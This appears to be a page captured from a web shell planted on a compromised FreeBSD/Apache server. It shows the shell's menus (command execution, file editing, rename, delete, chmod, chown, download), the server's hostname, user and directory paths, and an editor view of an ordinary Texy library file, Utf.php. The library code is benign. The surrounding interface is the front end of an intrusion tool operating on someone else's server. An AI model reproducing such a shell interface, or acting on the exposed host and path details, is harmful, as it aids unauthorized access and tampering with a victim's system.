TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
1
root
vendor
texy
texy
src
Texy
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/1/root/vendor/texy/texy/src/Texy/Utf.php
<?php /** * This file is part of the Texy! (http://texy.info) * Copyright (c) 2004 David Grudl (https://davidgrudl.com) */ namespace Texy; /** * UTF-8 helper. */ class Utf { use Strict; /** @var array */ private static $xlat; /** @var array */ private static $xlatCache; /** * static class. */ final public function __construct() { throw new \LogicException('Cannot instantiate static class ' . get_class($this)); } /** * Converts from source encoding to UTF-8. */ public static function toUtf($s, $encoding) { return iconv($encoding, 'UTF-8', $s); } /** * Converts from UTF-8 to dest encoding. */ public static function utfTo($s, $encoding) { return iconv('UTF-8', $encoding . '//TRANSLIT', $s); } /** * StrToLower in UTF-8. */ public static function strtolower($s) { if (function_exists('mb_strtolower')) { return mb_strtolower($s, 'UTF-8'); } return @iconv('WINDOWS-1250', 'UTF-8', strtr( // intentionally @ iconv('UTF-8', 'WINDOWS-1250//IGNORE', $s), "ABCDEFGHIJKLMNOPQRSTUVWXYZ\x8a\x8c\x8d\x8e\x8f\xa3\xa5\xaa\xaf\xbc\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd8\xd9\xda\xdb\xdc\xdd\xde", "abcdefghijklmnopqrstuvwxyz\x9a\x9c\x9d\x9e\x9f\xb3\xb9\xba\xbf\xbe\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf8\xf9\xfa\xfb\xfc\xfd\xfe" )); } /** @deprecated */ public static function utf2ascii($s) { return Helpers::toAscii($s); } /** * Converts UTF-8 to dest encoding + html entities. */ public static function utf2html($s, $encoding) { // convert from UTF-8 if (strcasecmp($encoding, 'utf-8') === 0) { return $s; } // prepare UTF-8 -> charset table self::$xlat = &self::$xlatCache[strtolower($encoding)]; if (!self::$xlat) { for ($i = 128; $i < 256; $i++) { $ch = @iconv($encoding, 'UTF-8//IGNORE', chr($i)); // intentionally @ if ($ch) { self::$xlat[$ch] = chr($i); } } } // convert return preg_replace_callback('#[\x80-\x{FFFF}]#u', [__CLASS__, 'cb'], $s); } /** * Callback; converts UTF-8 to HTML entity OR character in dest encoding. */ private static function cb($m) { $m = $m[0]; if (isset(self::$xlat[$m])) { return self::$xlat[$m]; } $ch1 = ord($m[0]); $ch2 = ord($m[1]); if (($ch2 >> 6) !== 2) { return ''; } if (($ch1 & 0xE0) === 0xC0) { return '&#' . ((($ch1 & 0x1F) << 6) + ($ch2 & 0x3F)) . ';'; } if (($ch1 & 0xF0) === 0xE0) { $ch3 = ord($m[2]); if (($ch3 >> 6) !== 2) { return ''; } return '&#' . ((($ch1 & 0xF) << 12) + (($ch2 & 0x3F) << 06) + (($ch3 & 0x3F))) . ';'; } return ''; } }
Crotin
Name
Size
Permissions
Modified
User/Group
Image.php
864
0644
2018-07-10 17:51:46
Unknown/Unknown
HtmlElement.php
11912
0644
2018-07-10 17:51:47
Unknown/Unknown
LineParser.php
2822
0644
2018-07-10 17:51:47
Unknown/Unknown
Parser.php
419
0644
2018-07-10 17:51:46
Unknown/Unknown
Texy.php
18234
0644
2018-07-10 17:51:47
Unknown/Unknown
Configurator.php
2361
0644
2018-07-10 17:51:47
Unknown/Unknown
Modules
-
0755
2018-07-10 17:52:39
Unknown/Unknown
Regexp.php
2743
0644
2018-07-10 17:51:47
Unknown/Unknown
HandlerInvocation.php
1406
0644
2018-07-10 17:51:46
Unknown/Unknown
Strict.php
2993
0644
2018-07-10 17:51:47
Unknown/Unknown
Utf.php
2712
0644
2018-07-10 17:51:47
Unknown/Unknown
Helpers.php
3540
0644
2018-07-10 17:51:47
Unknown/Unknown
BlockParser.php
3343
0644
2018-07-10 17:51:47
Unknown/Unknown
Modifier.php
6244
0644
2018-07-10 17:51:47
Unknown/Unknown
Link.php
876
0644
2018-07-10 17:51:47
Unknown/Unknown
Patterns.php
1430
0644
2018-07-10 17:51:47
Unknown/Unknown
DTD.php
10766
0644
2018-07-10 17:51:46
Unknown/Unknown
Module.php
260
0644
2018-07-10 17:51:47
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin